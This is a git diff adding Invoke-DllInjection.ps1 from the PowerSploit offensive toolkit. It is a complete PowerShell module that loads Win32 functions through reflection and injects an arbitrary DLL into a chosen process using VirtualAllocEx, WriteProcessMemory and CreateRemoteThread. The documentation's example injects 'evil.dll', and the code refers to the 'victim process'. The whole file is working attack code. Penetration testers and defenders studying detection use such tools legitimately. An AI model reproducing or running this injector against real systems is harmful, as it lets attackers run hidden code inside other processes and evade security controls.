aboutsummaryrefslogtreecommitdiff
path: root/CodeExecution/Invoke-DllInjection.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'CodeExecution/Invoke-DllInjection.ps1')
-rw-r--r--CodeExecution/Invoke-DllInjection.ps1328
1 files changed, 328 insertions, 0 deletions
diff --git a/CodeExecution/Invoke-DllInjection.ps1 b/CodeExecution/Invoke-DllInjection.ps1
new file mode 100644
index 0000000..b62e7a1
--- /dev/null
+++ b/CodeExecution/Invoke-DllInjection.ps1
@@ -0,0 +1,328 @@
+function Invoke-DllInjection
+{
+<#
+.SYNOPSIS
+
+Injects a Dll into the process ID of your choosing.
+
+PowerSploit Module - Invoke-DllInjection
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+.DESCRIPTION
+
+Invoke-DllInjection injects a Dll into an arbitrary process.
+
+.PARAMETER ProcessID
+
+Process ID of the process you want to inject a Dll into.
+
+.PARAMETER Dll
+
+Name of the dll to inject. This can be an absolute or relative path.
+
+.EXAMPLE
+
+C:\PS> Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
+
+Description
+-----------
+Inject 'evil.dll' into process ID 4274.
+
+.NOTES
+
+Use the '-Verbose' option to print detailed information.
+
+.LINK
+
+http://www.exploit-monday.com
+#>
+
+ Param (
+ [Parameter( Position = 0, Mandatory = $True )]
+ [Int]
+ $ProcessID,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Dll
+ )
+
+ # Confirm that the process you want to inject into exists
+ try
+ {
+ Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
+ }
+ catch [System.Management.Automation.ActionPreferenceStopException]
+ {
+ Throw "Process does not exist!"
+ }
+
+ # Confirm that the path to the dll exists
+ try
+ {
+ $Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
+ Write-Verbose "Full path to Dll: $Dll"
+ $AsciiEncoder = New-Object System.Text.ASCIIEncoding
+ # Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
+ $DllByteArray = $AsciiEncoder.GetBytes($Dll)
+ }
+ catch [System.Management.Automation.ActionPreferenceStopException]
+ {
+ Throw "Invalid Dll path!"
+ }
+
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ function Local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ function Local:Get-PEArchitecture
+ {
+ Param
+ (
+ [Parameter( Position = 0,
+ Mandatory = $True )]
+ [String]
+ $Path
+ )
+
+ # Parse PE header to see if binary was compiled 32 or 64-bit
+ $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
+
+ [Byte[]] $MZHeader = New-Object Byte[](2)
+ $FileStream.Read($MZHeader,0,2) | Out-Null
+
+ $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
+ if ($Header -ne 'MZ')
+ {
+ $FileStream.Close()
+ Throw 'Invalid PE header.'
+ }
+
+ # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
+ $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
+
+ [Byte[]] $lfanew = New-Object Byte[](4)
+
+ # Read offset to the PE Header (will be read in reverse)
+ $FileStream.Read($lfanew,0,4) | Out-Null
+ $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
+
+ # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
+ $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
+ [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
+
+ # Read compiled architecture
+ $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
+ $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
+ $FileStream.Close()
+
+ if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
+ {
+ Throw 'Invalid PE header or unsupported architecture.'
+ }
+
+ if ($Architecture -eq '014C')
+ {
+ Write-Output 'X86'
+ }
+ elseif ($Architecture -eq '8664')
+ {
+ Write-Output 'X64'
+ }
+ else
+ {
+ Write-Output 'OTHER'
+ }
+ }
+
+
+ # Get addresses of and declare delegates for essential Win32 functions.
+ $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
+ $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
+ $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
+ $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
+ $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
+ $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
+ $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
+ $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32]) ([Bool])
+ $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
+ $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
+ $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
+ $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
+ $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
+ $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
+ $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
+ $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
+ $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
+ $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
+
+ # Assume CPU to be 64-bit unless determined otherwise.
+ $64bitCPU = $True
+
+ # Determine the bitness of the running PowerShell process based upon the size of the IntPtr type.
+ if ([IntPtr]::Size -eq 4)
+ {
+ $PowerShell32bit = $True
+ }
+ else
+ {
+ $PowerShell32bit = $False
+ }
+
+ # The address for IsWow64Process will be returned if and only if running on a 64-bit CPU. Otherwise, Get-ProcAddress will return $null.
+ $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
+
+ if ($IsWow64ProcessAddr)
+ {
+ $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
+ $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
+ }
+ else
+ {
+ # IsWow64Process does not exist and thus, the CPU is not 64-bit.
+ $64bitCPU = $False
+ }
+
+ # Open a handle to the process you want to inject into
+ $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
+
+ if (!$hProcess)
+ {
+ THrow 'Unable to open process handle.'
+ }
+
+ $Architecture = Get-PEArchitecture $Dll
+
+ if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
+ {
+ if ( ($Architecture -ne 'X86') -and ($Architecture -ne 'X64') )
+ {
+ Throw 'Only x86 or AMD64 architechtures supported.'
+ }
+
+ # Determine is the process specified is 32 or 64 bit. Assume that it is 64-bit unless determined otherwise.
+ $IsWow64 = $False
+ $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
+
+ if ( $PowerShell32bit -and ($Architecture -eq 'X64') )
+ {
+ Throw 'You cannot manipulate 64-bit code within 32-bit PowerShell. Open the 64-bit version and try again.'
+ }
+
+ if ( (!$IsWow64) -and ($Architecture -eq 'X86') )
+ {
+ Throw 'You cannot inject a 32-bit DLL into a 64-bit process.'
+ }
+
+ if ( $IsWow64 -and ($Architecture -eq 'X64') )
+ {
+ Throw 'You cannot inject a 64-bit DLL into a 32-bit process.'
+ }
+ }
+ else
+ {
+ if ($Architecture -ne 'X86')
+ {
+ Throw 'PE file was not compiled for x86.'
+ }
+ }
+
+ # Get address of LoadLibraryA function
+ $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
+ Write-Verbose "LoadLibrary address: 0x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Reserve and commit memory to hold name of dll
+ $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Dll.Length, 0x3000, 4) # (0x3000 = Reserve|Commit, 4 = RW)
+ if ($RemoteMemAddr -eq [IntPtr]::Zero)
+ {
+ Throw 'Unable to allocate memory in remote process.'
+ }
+ Write-Verbose "DLL path memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
+
+ # Write the name of the dll to the remote process address space
+ $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $DllByteArray, $Dll.Length, [Ref] 0) | Out-Null
+ Write-Verbose "Dll path written sucessfully."
+
+ # Execute dll as a remote thread
+ $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $LoadLibraryAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
+ if (!$ThreadHandle)
+ {
+ Throw 'Unable to launch remote thread.'
+ }
+
+ $VirtualFreeEx.Invoke($hProcess, $RemoteMemAddr, $Dll.Length, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
+
+ # Close process handle
+ $CloseHandle.Invoke($hProcess) | Out-Null
+
+ Write-Verbose 'Dll injection complete!'
+
+ # Extract just the filename from the provided path to the dll.
+ $FileName = Split-Path $Dll -Leaf
+ $DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.Contains($FileName) } | fl * | Out-String
+
+ if (!$DllInfo)
+ {
+ Throw "Dll did dot inject properly into the victim process."
+ }
+
+ Write-Verbose "Injected DLL information:$($DllInfo)"
+} \ No newline at end of file